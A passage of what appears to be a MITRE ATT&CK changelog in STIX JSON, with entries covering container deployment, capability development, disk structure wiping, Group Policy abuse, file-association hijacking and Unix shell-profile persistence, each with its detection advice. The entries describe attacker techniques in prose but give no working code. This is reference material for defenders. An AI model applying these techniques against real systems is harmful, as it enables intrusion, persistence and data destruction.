application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1610", + "external_id": "T1610" + }, + { + "source_name": "AppSecco Kubernetes Namespace Breakout 2020", + "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.", + "url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216" + }, + { + "source_name": "Aqua Build Images on Hosts", + "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", + "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host" + }, + { + "source_name": "Docker Containers API", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container" + }, + { + "source_name": "Kubernetes Workload Management", + "description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/" + }, + { + "source_name": "Kubeflow Pipelines", + "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.", + "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/" + }, + { + "source_name": "Kubernetes Dashboard", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pawan Kinger, @kingerpawan, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Idan Frimark, Cisco", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team", + "Joas Antonio dos Santos, @C0d3Cr4zy" + ], + "x_mitre_data_sources": [ + "Container: Container Start", + "Application Log: Application Log Content", + "Pod: Pod Creation", + "Container: Container Creation", + "Pod: Pod Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:06:17.124000+00:00\", \"old_value\": \"2024-04-11 21:24:42.680000+00:00\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0014: Pod (Pod Creation)", + "DS0014: Pod (Pod Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0032: Container (Container Creation)", + "DS0032: Container (Container Start)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:30:00.877000+00:00", + "modified": "2024-10-15 16:31:17.270000+00:00", + "name": "Develop Capabilities", + "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1587", + "external_id": "T1587" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Talos Promethium June 2020", + "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.", + "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html" + }, + { + "source_name": "Bitdefender StrongPity June 2020", + "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Malware Repository: Malware Content", + "Malware Repository: Malware Metadata", + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:31:17.270000+00:00\", \"old_value\": \"2021-10-17 16:07:08.768000+00:00\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0004: Malware Repository (Malware Content)", + "DS0004: Malware Repository (Malware Metadata)", + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 22:10:20.484000+00:00", + "modified": "2024-10-15 16:32:05.064000+00:00", + "name": "Disk Structure Wipe", + "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1561/002", + "external_id": "T1561.002" + }, + { + "source_name": "format_cmd_cisco", + "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + }, + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_data_sources": [ + "Driver: Driver Load", + "Drive: Drive Modification", + "Drive: Drive Access", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:32:05.064000+00:00\", \"old_value\": \"2023-04-14 19:38:24.089000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Access)", + "DS0016: Drive (Drive Modification)", + "DS0017: Command (Command Execution)", + "DS0027: Driver (Driver Load)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-28 21:50:59.844000+00:00", + "modified": "2024-09-23 22:11:01.884000+00:00", + "name": "Group Policy Modification", + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1484/001", + "external_id": "T1484.001" + }, + { + "source_name": "Mandiant M Trends 2016", + "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf" + }, + { + "source_name": "ADSecurity GPO Persistence 2016", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "url": "https://adsecurity.org/?p=2716" + }, + { + "source_name": "Microsoft Hacking Team Breach", + "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.", + "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/" + }, + { + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179" + }, + { + "source_name": "Harmj0y Abusing GPO Permissions", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/" + }, + { + "source_name": "Harmj0y SeEnableDelegationPrivilege Right", + "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/" + }, + { + "source_name": "TechNet Group Policy Basics", + "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", + "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom", + "Tristan Bennett, Seamless Intelligence" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Modification", + "Active Directory: Active Directory Object Deletion" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-23 22:11:01.884000+00:00\", \"old_value\": \"2023-01-06 12:44:15.707000+00:00\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.\", \"old_value\": \"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/\", \"old_value\": \"http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.\", \"old_value\": \"Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/\", \"old_value\": \"http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Deletion)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 13:40:47.282000+00:00", + "modified": "2024-09-12 15:27:11.065000+00:00", + "name": "Change Default File Association", + "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/001", + "external_id": "T1546.001" + }, + { + "source_name": "Microsoft Change Default Programs", + "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.", + "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" + }, + { + "source_name": "Microsoft File Handlers", + "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015" + }, + { + "source_name": "Microsoft Assoc Oct 2017", + "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc" + }, + { + "source_name": "TrendMicro TROJ-FAKEAV OCT 2012", + "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:27:11.065000+00:00\", \"old_value\": \"2023-03-30 21:01:40.699000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/bb166549.aspx\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:13:45.936000+00:00", + "modified": "2024-09-25 15:02:24.143000+00:00", + "name": "Unix Shell Configuration Modification", + "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/004", + "external_id": "T1546.004" + }, + { + "source_name": "anomali-linux-rabbit", + "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + }, + { + "source_name": "anomali-rocke-tactics", + "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.", + "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect" + }, + { + "source_name": "Linux manual bash invocation", + "description": 